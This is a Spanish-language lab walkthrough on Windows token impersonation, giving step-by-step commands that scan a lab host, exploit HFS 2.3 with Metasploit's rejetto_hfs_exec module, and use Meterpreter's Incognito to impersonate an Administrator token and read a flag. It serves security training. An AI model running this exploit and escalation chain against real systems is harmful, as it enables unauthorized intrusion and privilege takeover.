👑 Token Impersonation en Windows
En Windows, cada proceso tiene un token de acceso que define sus privilegios e identidad. La impersonación (token impersonation) permite a un proceso adoptar temporalmente la identidad de otro usuario usando su token, sin necesidad de conocer su contraseña.
El módulo Incognito de Metasploit lista los tokens disponibles en el sistema y permite impersonarlos, convirtiendo una sesión de usuario limitado en una de Administrator o SYSTEM.
Requisito: el proceso atacante necesita el privilegio
SeImpersonatePrivilege (habitual en cuentas de servicio como NT AUTHORITY\LOCAL SERVICE) para poder impersonar otros tokens.Tipos de tokens en Windows
| Tipo | Descripción | Uso en impersonación |
|---|---|---|
| Delegation tokens | Token completo: puede usarse localmente y en red | Ideal — máxima escalada |
| Impersonation tokens | Token limitado: solo uso local | Útil para escalada local |
🔧 Comandos del laboratorio
1. Reconocimiento e identificación del objetivo
bash
cat /root/Desktop/target
bash
nmap 10.0.28.7
nmap -sV -p 80 10.0.28.7
# Detecta: HttpFileServer 2.3 en puerto 80
2. Buscar y cargar el exploit
bash
searchsploit hfs
# Localiza: exploit/windows/http/rejetto_hfs_exec
3. Explotación con Metasploit (RCE en HFS 2.3)
msfconsole
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS 10.0.28.7
exploit
# Obtiene sesión Meterpreter
meterpreter
getuid
# NT AUTHORITY\LOCAL SERVICE -> privilegios limitados
4. Intento fallido de lectura de la flag
meterpreter
cat C:\\Users\\Administrator\\Desktop\\flag.txt
# Error: acceso denegado
5. Cargar el módulo Incognito y listar tokens
meterpreter
load incognito
list_tokens -u
# Se detecta token: ATTACKDEFENSE\Administrator
6. Impersonar el token de Administrator
meterpreter
impersonate_token ATTACKDEFENSE\\Administrator
getuid
# ATTACKDEFENSE\Administrator -> escalada exitosa
7. Obtener la flag
meterpreter
cat C:\\Users\\Administrator\\Desktop\\flag.txt
🗼 Flujo del ataque
1
ReconocimientoNmap para detectar HFS 2.3 en puerto 80.
2
ExplotaciónMetasploit rejetto_hfs_exec → sesión Meterpreter.
3
Verificar privilegios
getuid → NT AUTHORITY\LOCAL SERVICE (privilegiado para impersonar).4
Cargar Incognito
load incognito → list_tokens -u para ver tokens disponibles.5
Impersonar Administrator
impersonate_token para adoptar la identidad del admin.6
FlagLeer el archivo de la flag con la nueva identidad.
🎯 ¿Qué buscar? — Indicadores de éxito
SeImpersonatePrivilegeenwhoami /priv→ impersonación directamente posible.- Cuentas de servicio (
NT AUTHORITY\NETWORK SERVICE,LOCAL SERVICE,IIS APPPOOL) suelen tener este privilegio. - Tokens de Delegation disponibles → máxima escalada.
- Si Incognito no lista tokens de admin, probar Juicy Potato o Rogue Potato para generar tokens con SeImpersonatePrivilege.
- HFS 2.3 es vulnerable a múltiples CVEs → siempre enumerar la versión exacta del servidor HTTP.